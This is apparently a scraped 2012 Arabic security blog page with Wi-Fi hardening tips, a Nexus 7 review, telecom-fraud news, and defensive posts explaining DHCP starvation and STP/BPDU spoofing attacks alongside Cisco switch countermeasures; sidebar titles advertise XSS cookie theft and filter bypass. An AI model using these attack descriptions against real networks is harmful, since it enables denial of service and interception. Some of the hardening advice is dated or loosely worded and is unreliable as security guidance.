معظم أجهزة الاتصال الغير سلكية تضم كود للتشفير ، التقنة الخاصة بالاتصال المشفر فى الاجهزة الغير سلكية تعد من التقنيات الضرورية لحماية الشبكة لديك وتسمى تقنية WPA القوية لتشفير الاتصال بالشبكة للأجهزة الاتصال المنزلية وايضا تقنية WEP تستخدم لذلك الأمر.

3- تغيير SSID المفترض default
نقاط الاتصال والروتيرز يستخدموا شبكة خاصة تسمى SSID ، من المتبع الشركة المصنعة لجهاز الاتصال مثل الروترز هى التى توضع هذه الشبكة .مثال لذلك شركة Netgear تكون الشبكة باسم NETGEAR وهكذا..، فيمكن تغيير اسم الشبكة المفترض من خلال administrative panel

4- تنقية العنوان الرقمى MAC Address للجهاز
كل جهاز من أجهزة الاتصال اللاسلكية يوجد بها رقم مخصص يسمى MAC Addressللخروج للاتصال عبر شبكة الانترنت ، لكل جهاز روترز أو اتصال على شبكة الانترنت بيعطيك تحكم فى السماح للأجهزة التى لديك بتدخيل الـ MAC Addressالرقم الخاص بها حتى لا يستفاد بخدمات الاتصال لديك غيرهذه الاجهزة، مما يعطيك الحماية وتاكد من فاعلية تقنية MAC spoofing

5- إلغاء تفعيل SSID Broadcast
ولأن كل جهاز اتصال يكون له SSID اسم للشبكة المصنعة للجهاز افتراضى ، يكون ظاهر لجميع الشبكات اللاسلكية الآخرى غير التى تستخدمها فى منزلك .فمن الأفضل ان تقوم بعدم اظهار هذا الاسم كحماية من الاختراق أو تغييره من مهام إدارة الشبكة network administrator

6- لا تقوم بفتح التلقائى على شبكة الاتصال اللاسلكيةWireless
غالباً تقوم اجهزة الكمبيوتر بفتح الاتصال للاسلكى تلقائياً باستخدام الشبكة الاتصال دون تعريف بالمستخدم مما يعرض حماية الاتصال للاسلكى الخاصة للاختراق ، فيمكن اضافة من مهام إدارة الشبكة التعريف بالمستخدم من اجهزة الشبكة للاسلكية للحماية.

7- وضع رقم حاسوب ثابت للاتصال على الشبكة اللاسلكيةWireless
معظم أجهزة الحاسب التى تتم بها الاتصال على شبكة الانترنت تحصل على عنوانها الرقمى IP Address تلقائى من الـDHCP بالأرقام المتاحة من خلاله ، فمن الافضل لتأمين حماية الشبكة الاتصال للاسلكية أن تقوم بوضع رقم الكمبيوتر ثابت من مهام التضبيط بوضع IP Address مثل 10.0.0.x

8- تفعيل خاصية جدار الحماية Firewalls
من الأفضل لتأمين جهازك الشخصى وجهاز الاتصال مثل الروترز حيث تضم معظم الاجهزة الحديثة جدار حامى لها built-in firewall capability بتفعيل جدار الحماية Firewalls ، فتاكد من أن هذه الخاصة مفعله فى تلك الجهازين حتى لا يتم اختراق الشبكة والاجهزة التى لديك

9- مكان جهاز الاتصال الروترز بوضع مأمن
معظم اجهزة الاتصالات اللاسلكية الروترز بتسمح بألتقاط الاتصال من مسافات متبعده فى الاستخدامات داخل المنزل من الافضل وضع اجهزة الاتصال الروترز فى وسط المنزل بعيد ان النوافذ حيث من الممكن ان تكون عرضة للاختراق من الجار أو اى شخص آخر قريب من النطاق الشبكة ، وتوجد فى بعض الاجهزة تحديد النطاق الاستخدام لحماية الشبكة من الاختراق يمكن تغيير النطاق من إدارة الشبكة للروترز فى administrative panel.

10- خاصية غلق شبكة اللاسلكية تلقائيا عند عدم الاستخدام فى فتره محددة
وهى عند ذهابك إلى رحلة وسفر مؤقت وتريد عدم استخدام الشبكة الاتصال اللاسلكية داخل المنزل لحماية من الاختراق فيمكنك تفعيل خاصية عند عدم استخدام الشبكة فى فترة محدده يتم غلق الاتصال

www.afinis.co.cc : المصدر

«غوغل»: جهاز لوحي جديد يتحدى «آي باد»

2012-08-02T05:11:00.001+00:00

قد تعجب بشركة «أبل» وقد تمقتها، لكن المؤكد هو أن لعبتها المفضلة هي زعامة الصناعة، بينما لعبة قطاع تقنية المعلومات بالمقابل هي اتباع الزعيم! وكان ستيف جوبز يكره التقليد. «فبرنامج (أندرويد) حطم آي فون، ومبيعاته الإجمالية حطمتنا نحن، وسأقوم بتدمير (أندرويد) لأنه منتج مسروق»، كما ذكر جوبز لكاتب سيرة حياته والتر إيزاكسون.

لكن ثمة جانب إيجابي لهذا التقليد، إذ يمكن القول إن المنتجات المقلدة لـ«أبل» ملأت الأسواق، حيث لم تتجرأ الأخيرة على الحضور هناك، أو حتى طرح بديل حقيقي لـ«أبل» يمكن التحكم به في عالم مقيد بالخيارات.

* تصاميم من «غوغل»

* في ضوء كل هذا جاء الإعلان عن منتج «غوغل» الجديد للعام الحالي كواحد من الأنباء السارة. فقد قامت «غوغل» بفتح مخزن موحد على الشبكة ببطاقات تبويب منفصلة، وكتب إلكترونية، وبرامج تلفزيونية، وأفلام سينمائية، وموسيقى، بنموذج ينسجم مع مخزن «آي تيونز».

وقد طرحت «غوغل» أخيرا «نيكسوس كيو» Nexus Q الذي هو عبارة عن كرة سوداء تتصل بجهاز التلفزيون لتشغل الأغاني والموسيقى والفيديو تماما على غرار تلفزيون «أبل» بشكله المربع الأسود. وكانت «غوغل» قد أنزلت أخير أيضا «نيكسوس 7» Nexus 7، الذي هو جهاز لوحي أسود لامع، يرمي إلى تحدي كل من «آي باد» و«كيندل فاير» من «أمازون». وما تفكر فيه «غوغل» هو أنها راغبة في مضاهاة «أبل» في تخفيض الفوضى، وليس تشجيعها وتعزيزها.

والمزية المهمة في «كيندل فاير» هي سعره البالغ 200 دولار. وهذا السعر يبدو مناسبا في عالم، يصل فيه سعر «آي باد» الجهاز اللوحي المسيطر على السوق إلى 500 دولار، وما فوق. طبعا «كيندل فاير» ليس كـ«آي باد». فشاشته البالغة سبع بوصات هي أصغر كثيرا، وهو أسمك وأكبر حجما، ولا يملك كاميرا، أو ميكروفون، أو «جي بي إس»، أو «بلوتوث»، أو شقا لوضع بطاقة الذاكرة. ومهمته الأساسية هي تشغيل المواد والمحتويات المشتراة من «أمازون»، كالكتب والفيديو.

* جهاز لوحي

* وهذا ما يجعل وصول جهاز «غوغل» اللوحي الذي تنتجه «أسوس» حدثا مهما. وهو مزود أيضا بشاشة قياس سبع بوصات ويكلف 200 دولار. لكن هذه المرة لا تشعر أن منتجيه قتروا عليه، لتخفيض سعره. فهو نحيف ورشيق وجميل، بأطراف مستديرة، خلافا للعلبة المربعة السوداء «فاير». وهو يزن 2.6 أونصة (الأونصة نحو 28 غراما)، أقل من «فاير». وهذا ما يجعل الفرق كبيرا، وهو أرق قليلا أيضا رغم إنه أسمك من «آي باد».

والأهم من ذلك أن «نيكسوس» هو جهاز لوحي بالكامل، ويقوم بكافة وظائفه المتوقعة منه. كما أنه سريع وسلس الاستخدام، وقادر على تشغيل أي تطبيق خاص بجهاز «أندرويد» اللوحي. وهو بذلك قوض مكانة «كيندل فاير»، والأجهزة اللوحية الأخرى المنافسة لـ«أندرويد» من أمثال «غالاكسي تاب 2» الذي يكلف 250 دولارا، مقابل الثماني غيغابايتات ذاتها من الذاكرة.

لكن كيف استطاعت «غوغل» تقديم جهاز لوحي فخم بسعر جهاز «أمازون» المجرد من أمور كثيرة؟ لقد قمت بسؤال الفريق المسؤول عن جهاز «نيكسوس»، وما إذا كانوا يخسرون في كل جهاز لوحي ينتجونه، مقابل جني أرباح عن طريق بيع الكتب، والموسيقى، والبرامج التلفزيونية. وأقرت «غوغل» أنها لا تجني أرباحا عندما تبيع هذا الجهاز اللوحي من موقعها على الشبكة، وبذلك فإنها من المؤكد أنها تخسر مالا عن كل جهاز تبيعه في المخزن.

* مزايا «نيكسوس 7»

* في أي حال فإن «نيكسوس 7» مجهز بشكل جيد بالنسبة إلى جهاز بسعر 200 دولار. فهو مزود بـ«واي - فاي»، و«بلوتوث»، وبطارية تدوم شحنتها تسع ساعات، وشاشة براقة وواضحة جدا، وبمكبر صوت إفرادي قوي، و«جي بي إس»، والمزية الأخيرة رائعة فعلا.

ولا ينقص العتاد سوى القليل جدا، وهنالك كاميرا في الأمام لمكالمات الفيديو، ولكن لا يوجد كاميرا في الخلف. والبطارية لا يمكن نزعها، كما لا يوجد خيار للاتصالات الهاتفية الخليوية، بل يمكن التواصل مع الإنترنت فقط عبر «واي - فاي». ولكون لا يوجد شق لبطاقة الذاكرة، فإن سعة التخزين البالغة ثماني غيغابايت هي كل ما هو متوفر. ويمكن الحصول على طراز الـ16 غيغابايت، مقابل 50 دولارا زيادة على السعر الأصلي.

ويتفرد «نيكسوس 7» عن سائر الأجهزة اللوحية باحتوائه على النسخة الأخيرة من «أندرويد 4.1» المسماة «جيلي بيين». والأخيرة تقدم عشرات المميزات الجديدة، منها مثلا إبراز «غوغل ناو» عن طريق مسح الشاشة بالأصبع إلى الأعلى، فضلا عن «البطاقات» الصغيرة التي تحمل معلومات يعتقد أنك بحاجة إليها الآن، والتي تعتمد على موقعك وتاريخه، والتقويم اليومي، وبحث «غوغل».

وإذا كنت قد بحثت أخيرا عن فريق رياضي معين، أو رحلة جوية على سبيل المثال، يمكنك أيضا الاطلاع على وضع الرحلات الجوية ومواعيدها. كما أن حالة الطقس، وحركة المرور، والمواعيد الأخرى، هي جزء أيضا من هذه الميزات.

ويمكن الآن حفظ خرائط «غوغل مابس» عن مدينة برمتها على الجهاز هذا، بحيث لا تحتاج إلى التواصل مع الإنترنت بغية الملاحة عبرها. وهذا مناسب جدا لدى السفر إلى الخارج.

أما مزية الطباعة عن طريق النطق فهي تعمل حتى من دون التواصل مع الإنترنت، وهي تعمل طبعا بشكل أفضل إذا كنت على الشبكة، لكنك تحصل على الأقل على بعض الدقة الأساسية من دونها.

* سلاسة التشغيل

* غير أن التغيير المهم الذي حدث هو سلاسة التشغيل، فقد أبلى مهندسو «غوغل» بلاء حسنا في جعل «أندرويد 4.1» مستجيبا تماما لعمليات اللمس، كما أن عمليات المحاكاة تعمل بسلاسة فائقة بسرعة 60 إطارا في الثانية، إذ تقول «غوغل» إنها تحاول توقع خطوة أصبعك التالية، وأين سيكون، لتعيد ترتيب الشاشة وفقا لذلك. لكن للأسف فإن استخدام «جيلي بيين» لا يمكن جهازك من استخدام فيديو «فلاش» على الشبكة، الذي كان مزية مهمة لـ«أندرويد»، مقارنة بـ«آي باد». كذلك فإن «جيلي بيين» أزالت القدرة على تحويل شاشة المنزل من قياس 90 بوصة إلى عرض المشاهد بشكل عريض (لاندسكايب)، التي مصدرها شاشة الجهاز اللوحي قياس سبع بوصات، إذ تبقى المشاهد قائمة فقط.

والأمر السلبي بالنسبة إلى «غوغل» أن مخزنها يضم القليل من التطبيقات الخاصة بالأجهزة اللوحية، بينما هنالك مئات الآلاف منها بتصرف جهاز «آي باد».

* خدمة «نيويورك تايمز»

www.afinis.co.cc : المصدر

الشرطة المغربية تلقي القبض على رئيس مافيا إسبانية قرصنت كل من إتصالات المغرب و انوي وسببت خسائر تقدر ب 94 مليار سنتيم

2012-07-31T20:56:00.002+00:00

إستطاعت الشرطة القاء القبض على رئيس مافيا إسبانية متخصصة في قرصنة الرواج الهاتفي ، حيث ضبط معه 30.000 بطاقة موزعة مابين شركة إتصالات المغرب وشركة انوي قبل أن يحال على الشرطة القضائية للتحقيق معه . حيث كبدة المافيا خسائر مالية لكلتا الشركتين تقدر بمبلغ 94 مليار سنتيم . فيما كشفت التحريات التي قامت بها عناصر الشرطة القضائية بأن زعيم المافيا الذي دخل إلى المغرب كسائح قبل 10 سنوات قام بكراء شقة توجد في الطابق 10 داخل إقامة سكنية بمنطقة مالاباطا، واختار هذه الشقة لأنها تقابل تماما محطة الإرسال التابعة لاتصالات

المغرب. حيث حول هذه الشقة إلى غرفة عمليات مجهزة بأحدث التقنيات والأجهزة الالكترونة المعقدة ، لالتقاط المكالمات عبر الأقمار الاصطناعية ن بإدارة عملاء أوربيون متخصصون في مجال المواصلات لاسلكية

يقومون بتمرير المكالمات القادمة من أوربا والمتوجهة نحو المغرب إلى المحطة التي تم إحداثها في طنجة، من لدن هذا الاسباني

www.afinis.co.cc : المصدر

كيف ينجح المبتدئين بالإختراق ويفشل الأكثر خبرة

2012-07-30T05:28:00.003+00:00

كم مرة سمعت بإختراق لموقع، شركة أو حتى جهة حكومية من قبل “هاكر” مبتدء؟ تعرف أنه مبتدء لأنه لم يعرف كيف يستغل إختراقه بشكل صحيح، لأنه ترك آثار وأدواته خلفه أو لأنه رفع إندكس غبية مثلاً. لا تتعجب كثيراً لأن أكبر الإختراقات في العالم لم تحدث بسبب ثغرة عبقرية غير مكتشفة بل لأن مدير النظام نسي تغيير كلمة المرور الإفتراضية مثلاً أو لأنه مازال يستخدم أنظمة وبرامج غير محدثة أكل عليها الدهر. السؤال هو كيف ينجح مخترق مبتدء في ذلك ويفشل الأكثر خبرة؟ لماذا كل يوم نشاهد إختراقات مثل هذه وغيرها الكثير سببها خطأ لن يقع به أي مدير نظام مبتدء!
السبب بسيط جداً.. عندما تزداد خبرة الهاكر ثم يقوم باختبار اختراق لموقع/شركة كبيرة يبدء محاولته بطريقة معكوسة، عكس الهاكر المبتدء ستجده يجرب اكتشاف ثغرات جديدة بنفسه ويقوم بمحاولات معقدة دون أن يخطر في باله تجربة الأمور البديهية والتي قد تبدو سخيفة أو من المستحيل نجاحها. أذكر مرة أني تمكنت من الدخول لأحد سيرفرات مزودات خدمة الإنترنت من أول محاولة وباستخدام كلمة مرور admin. حسناً، هذه الحالات تحصل لكن ليس كثيراً :)
عند القيام باختبار إختراق يجب أن تعتمد على قائمة مهام خاصة بك تطورها وتزيد عليها مع مرور الوقت أو دليل مثل OWASP Testing Guide و OSSTMM للتأكد أنك قمت بجميع الإختبارات المطلوبة وإلا سيكون إختبار الإختراق بطريقة عشوائية كمن يرمي المعكرونة على الحائط ويرى ما علق منها!

ليصل الهاكر الأكثر خبرة لمرحلة الإحتراف عليه أن يتعلم مرة أخرى كيف كان يفكر عندما كان مبتدء.

www.afinis.co.cc : المصدر

هجوم DHCP Starvation وطريقة التصدي له

2012-07-30T05:21:00.003+00:00

عودة مرة آخرى إلى مواضيع الأمن والحماية الخاصة بالشبكات وموضوعي اليوم عن هجوم يستهدق الـ DHCP Server ويعرف بي DHCP Starvation وهو يعد احد هجمات الـ DOS أو Denial of service
وخطورة هذا الهجوم تتمثل في تخريب الشبكة بشكل كامل على جميع المستخدمين

ماهو هجوم DHCP Starvation ؟

يشكل هذا النوع من الهجوم خطرا كبيرا على الشبكة لانه يقوم ببساطة بحجز كل الأيبيات الموجودة في سيرفر الـ DHCP وفيها يقوم المهاجم بأرسال عدد غير محدود من الرسائل إلى سيرفر الـ DHCP يطلب فيها تزويده يأيبي للجهاز الخاص فيه وعندما يتم أستلام الأعدادت من السيرفر وحجز الأيبي له يقوم بأرسال طلب جديد إلى السيرفر لكن هذه المرة بماك أدريس مختلف وهكذا حتى يقوم المهاجم بحجز كل الأيبيات المتاحة على السيرفر وحتى لو كانت 10000 أيبي لان هذه العملية تتم بسرعة كبيرة والتى قد لاتستغرق بضع دقائق وبالتالي أي محاولة من أي جهاز آخر موجود على الشبكة للحصول على أيبي من السيرفر سوف تباء بالفشل

طريق الحماية من هذا النوع من الهجوم

طريقة الحماية تم التطرق لها من قبل وهي تتم من خلال البورت سكيورتي وذلك بتحديد عدد معين من الماك ادريس المسموح لها بالدخول من خلال هذا المنفذ والأوامر طبعا سوف تطبق على السويتش بالشكل التالي

Cisco's IOS

Switch# conf t
Switch(config)# interface fastethernet 0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport port-security

وكما ذكرت سابقا في موضوع الـ Port Security أعداده وأهميته في رد هجوم الـ MAC flooding أن تطبيق هذه الأعدادت سوف تسمح لماك أدريس واحد للدخول وردة الفعل التى سوف بقوم بها السويتش هي أغلاق البورت بشكل كامل في حال تخطي هذا العدد وتستطيع أن تقوم بتحديد العدد وردة الفعل كما تريد وطريقة الأعداد موضحة في الموضوع السابق

وبالنسة للأخ محمد الذي راسلني بشان تطبيق البورت سكيورتي على catalyst Switch فالأمر بسيط ويختلف بعض الشيء عن الطريقة السابقة مع وجود بعض الزيادات مثل أمر Age وهو لتحديد المدة الزمنية التى سوف يقوم فيها السويتش بحفظ الماك أدريس أو how long all addresses on that port will be secured

وتحدد بعدد الدقائق وهي تكتب بالشكل التالي

Cisco's CAT IOS

set port security 1/2 enable
set port security 1/2 port max 1
set port security 1/2 violation restrict
set port security 1/2 age 500

كلمة آخيرة هذا النوع من الهجوم قد لايكون الهدف منها حجز كل الأيبيات الموجودة على الشبكة لان المهاجم قد يكون هدفه من نوع آخر وهو القيام بي الـ DHCP Spoofing وهو الموضوع القادم إن شاء الله ودمتم بود

Ayman Alnaimi أيمن النعيمي
www.afinis.co.cc : المصدر

هجوم الـ STP manipulation وطريقة التصدي له

2012-07-30T05:19:00.002+00:00

الهجوم الذي سوف أتحدث عنه اليوم خطير جدا وذلك بسبب قدرته على تخريب الشبكة بشكل كامل بالأضافة إلى أمكانية المهاجم في التنصت على كل مايجري في الشبكة وأقصد بهذا ليس فقط السويتش الذي ينتمي إليه المهاجم بل كل السويتشات الموجودة على الشبكة ويمكن أن نطلق عليه STP manipulation أو
BPDU attack

مقدمة عن بروتوكول الـ Spanning Tree
كما هو معروف عند الجميع أن بروتوكول الـ STP يلعب دورا كبيرا في الشبكة في منع مايعرف بي الـ loop أو Broadcast Storm ويتم ذلك عن طريق أنتخاب سويتش واحد ليكون Root Bridge ويتم الأختيار حسب أقل Bridge ID موجود على الشبكة وبعدها يتم أختيار البورتات التى يجب أن تعمل أو تتوقف أعتمادا على الـ Cost أو التكلفة للوصول للـ Root Bridge وكل هذه الأمور تتم عن طريق مايعرف بي BPDU وطبعا هذا الكلام معروف عند الجميع
كيف يتم هذا النوع من الهجوم ؟
الهجوم كغيره فكرته بسيطة وتأثيره كبير جدا وهو يتم عن طريق أرسال BPDU مزور يخبر فيه المهاجم السويتش الذي يرتبط معه بأنه يملك أقل Bridge ID على الشبكة وبانه يجب ان يكون هو الـ Root Bridge وبالتالي سوف تتم أعادة توزيع البورت على كل السويتشات وهذه بعض الصور لتبسيط الموضوع
الصورة الاولى نرى فيها التوزيع الطبيعي للشبكة ونرى أيضا أن السويتش A هو الـ Root Bridge على الشبكة والخطوط الحمراء خاصة بي الـ STP ونرى أن المهاجم الموجود على الجهاز رقم 2 يقوم بأرسال BPDU مزور إلى السويتش

في الصورة الثانية سوف نشاهد ماذا سوف يحدث بعد أن يقوم المهاجم بتغيير المخطط

وسوف نلاحظ ان كل شيء قد تغيير وأصبح كل الترافيك الذي يعبر عبر الشبكة يمر عبر الشخص المهاجم وبالتالي أصبح عندنا الهجوم الذي يعرف بي MITM أو Man In The Middle

كيف أحمي شبكتي من هذا النوع من الهجوم ؟
سيسكو تقترح عليك 3 طرق للحماية من هذا الهجوم الأولى
BPDU Guard خاصية تخبر فيها البورت أن لا يستقبل أي نوع من رسائل الـ BPDU وفي حال أستلام البورت لاي BPDU سوف يقوم بتحويل حالة البورت إلى errdisable أي سوف يتم اغلاق البورت بشكل كامل
وطريقة الأعداد تتم على الشكل التالي :
أدخل أولا على البورت الغير أمن وأكتب فيه الأمر التالي

Cisco's IOS

Switch(config)#spanning-tree bpduguard enable

واذا أردت أن تقوم بتفعيل هذه الخاصية على كل البورتات التى تكون في حالة PortFast أكتب الأمر التالي في الـ Config mode

Cisco's IOS

Switch(config)#spanning-tree portfast bpduguard default

BPDU Root في هذه الخاصية أخبر السويتش بأن هذه البورت لن يكون أبدا Root Bridge وتتم من خلال هذا الأمر

Cisco's IOS

Switch(config-if)#spanning-tree guard root

BPDU Filtering هذه الخاصية هي نفس الخاصية الأولى تماما والفرق الوحيد هو أن هذه الخاصية تتيح لك أن تحدد ماذا تريد للبورت أن يفعل في حال أستلم BPDU بعكس الـ BPDU Guard الذي سوف يقوم بأغلاق البورت بشكل مباشر وطريقة الأعداد هي كالتالي:
على البورت

Cisco's IOS

Switch(config-if)#spanning-tree bpdufilter enable

واذا أردت أن تقوم بتفعيل هذه الخاصية على كل البورتات التى تكون في حالة PortFast أكتب الأمر التالي في الـ Config mode

Cisco's IOS

Switch(config)#spanning-tree portfast bpdufilter default

ودمتم بود

Ayman Alnaimi أيمن النعيمي
www.afinis.co.cc : المصدر

مدونة الهكر الاخلاقي العربي

تم أطلاق سراح أداة اختبار ألاختراق الرهيبة (Cobalt Strike) علي مدونة الهكر الاخلاقي العربي

تمتع باي رنة موسيقية من القناة الثانية مجانا

هارفرد + معهد ماسوشيتس للتكنولوجيا = #edX

الطريقة الصحيحة لطلب Payoneer Mastercard و أحصل على 25$ هدية + طريقة تفعيل Paypal

تعرف على بوت نت واحمي نفسك من ايدز الحاسوب

مخاطر هذه الشبكات، وأنواع الهجوم الذي قد تقوم به

[عدل]التجسس و سرقة معلومات السرية:

[عدل]حجب الخدمة الموزعة:

[عدل]إرسال رسائل مزعجة (Spam):

[عدل]كيفية تكوين شبكة الروبوت العملاقة

[عدل]طرق عمل شبكة الروبوت

[عدل]الطريقة المركزية (Centralized):

[عدل]طريقة الند للند(P2P: Peer-to-Peer):

[عدل]كيف تحمي نفسك؟

[عدل]المراجع

هجمات الحرمان من الخدمات

ماذا يقصد بهجمات الحرمان من الخدمات (DOS Attacks)

ما هي هجمات الحرمان من الخدمات؟

أنواع (طرق) هجمات الحرمان من الخدمة

هجمات Ping Of Death و Teardrop

هجمات SYN

هجمة إغراق UDP

الهجمات الموزعة

كيفية عمل هجوم حجب الخدمة الموزعة ؟

الشيفرة الحمراء

مشتقات الشيفرة الحمراء

الشيفرة الحمراء ليست حكرا على مايكروسوفت فقط

حقائق حول هجمات حجب الخدمة

الحماية من هجمات الحرمان من الخدمة

ما هو نظام (Dos.deny) ؟

خوادم لينكس استخدمت كمراكز تحكم بدودة Duqu

مقارنة بين شهادات أمن المعلومات

Security+

CISSP Certified Information Systems Security Professional

C|EH Certified Ethical Hacker

OSCP Offensive Security Certified Professional

SANS GPEN GIAC Certified Penetration Tester

هاكر يبلغ من العمر 17 سنة يخترق موقع متخصص في تدريب الامن المعلوماتي وتقديم شهادة الهاكرالأخلاقي

اغبى هاكر لسنة 2012 بإمتياز

ثغرات Cross Site Scripting - xss

أنواع ثغرات xss :

كيف يتم سرقة الكوكيز

تغيير محتوى الصفحة

تخطي الحماية ضد ثغرات xss

تجاوز magic_quotes_gpc

تجاوز الحماية بإستعمال أسلوب التشويش

كيفية الحماية من هده الثغرات

برنامج w3af لإكتشاف و إختراق تطبيقات الويب

«ناسا» تتلقى أول صور من المسبار «كيريوسيتي» عقب هبوطه على سطح المريخ

|عقيدة الهكرز!!|

|صوره ولكم التعليق !! |

اخبار الكمبيوتر |اسرار لوحة المفاتيح :الجزء الاول|

|مجموعة إيرانية تعطل 220 موقع إسرائيلي|

صورة ولكم التعليق

|تقرير عن اشهر الهاكرز على مستوى الوطن العربى |

10 نقاط لحماية الاتصال بالـ Wi Fi

«غوغل»: جهاز لوحي جديد يتحدى «آي باد»

الشرطة المغربية تلقي القبض على رئيس مافيا إسبانية قرصنت كل من إتصالات المغرب و انوي وسببت خسائر تقدر ب 94 مليار سنتيم

كيف ينجح المبتدئين بالإختراق ويفشل الأكثر خبرة

هجوم DHCP Starvation وطريقة التصدي له

ماهو هجوم DHCP Starvation ؟

طريق الحماية من هذا النوع من الهجوم

وتحدد بعدد الدقائق وهي تكتب بالشكل التالي

هجوم الـ STP manipulation وطريقة التصدي له

وسوف نلاحظ ان كل شيء قد تغيير وأصبح كل الترافيك الذي يعبر عبر الشبكة يمر عبر الشخص المهاجم وبالتالي أصبح عندنا الهجوم الذي يعرف بي MITM أو Man In The Middle

Cisco's IOS Switch(config)#spanning-tree bpduguard enable

واذا أردت أن تقوم بتفعيل هذه الخاصية على كل البورتات التى تكون في حالة PortFast أكتب الأمر التالي في الـ Config mode

Cisco's IOS Switch(config)#spanning-tree portfast bpduguard default

BPDU Root في هذه الخاصية أخبر السويتش بأن هذه البورت لن يكون أبدا Root Bridge وتتم من خلال هذا الأمر

Cisco's IOS Switch(config-if)#spanning-tree guard root

Cisco's IOS Switch(config-if)#spanning-tree bpdufilter enable

واذا أردت أن تقوم بتفعيل هذه الخاصية على كل البورتات التى تكون في حالة PortFast أكتب الأمر التالي في الـ Config mode

Cisco's IOS Switch(config)#spanning-tree portfast bpdufilter default

ودمتم بود

Cisco's IOS

Switch(config)#spanning-tree bpduguard enable

Cisco's IOS

Switch(config)#spanning-tree portfast bpduguard default

Cisco's IOS

Switch(config-if)#spanning-tree guard root

Cisco's IOS

Switch(config-if)#spanning-tree bpdufilter enable

Cisco's IOS

Switch(config)#spanning-tree portfast bpdufilter default